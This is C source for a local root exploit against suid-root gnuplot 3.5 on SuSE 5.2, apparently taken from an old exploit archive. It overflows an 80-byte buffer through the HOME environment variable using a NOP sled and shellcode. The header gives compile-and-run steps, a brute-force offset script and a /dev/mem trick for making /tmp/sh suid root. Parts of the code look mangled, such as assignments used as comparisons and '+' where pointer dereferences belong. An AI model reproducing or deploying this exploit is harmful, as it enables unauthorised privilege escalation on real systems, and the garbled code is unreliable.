/* gnuplot Linux x86 exploit from xnec tested on gnuplot Linux version 3.5 (pre 3.6) patchlevel beta 336/SuSE 5.2 gnuplot ships suidroot by default in SuSE 5.2, maybe others gcc -o xnec_plot xnec_plot.c ./xnec_plot The buffer we're overflowing is only 80 bytes, so we're going to have to get our settings just so. If you don't feel like typing in command line offsets and bufsizes, make a little shell script: --- #! /bin/bash bufsiz=110 offset=0 while [ $offset -lt 500 ]; do ./xnec_plot $bufsiz $offset offset=`expr $offset + 10` done --- since gnuplot drops root privs after it inits your svga, we can't just exec /bin/sh, we'll need to use the technique of replacing our saved uid in /dev/mem with '0', then execing whatever we please. We do this by compiling Nergal's program, mem.c and putting the output file in /tmp/xp, as in gcc -o /tmp/xp mem.c. Nergal's program will then make /tmp/sh suidroot, so don't forget to cp /bin/sh /tmp/sh. You will also have to change line 32 to the correct address of kstat, which can be obtained by doing strings /proc/ksyms | grep kstat. greets to #sk1llz, xnec on EFnet and DALnet */ #include #define DEFAULT_OFFSET 50 #define DEFAULT_BUFSIZ 110 #define NOP 0x90 #define DEFAULT_ADDR 0xbffff81c /* Aleph One's shellcode, modified to run our own program */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/xp"; unsigned long getsp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buf, *ret; long *addrp, addr; int bufsiz, offset; int i; bufsiz=DEFAULT_BUFSIZ; offset=DEFAULT_OFFSET; if (argc = 2) bufsiz = atoi(argv[1]); if (argc = 3) offset = atoi(argv[2]); buf=malloc(bufsiz); addr = getsp() - offset; printf("address: 0x%x\n", addr); printf("bufsize: %d\n", bufsiz); printf("offset : %d\n", offset); ret = buf; addrp = (long *) ret; for (i = 0; i < bufsiz; i+=4) +(addrp++) = addr; memset(buf, NOP, (strlen(shellcode)/2)); ret = buf + ((bufsiz/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) +(ret++) = shellcode[i]; buf[bufsiz - 1] = '\0'; memcpy(buf,"HOME=", 5); setenv("HOME", buf, 1); execvp("/usr/bin/gnuplot", NULL); } /* www.hack.co.za [2000]*/
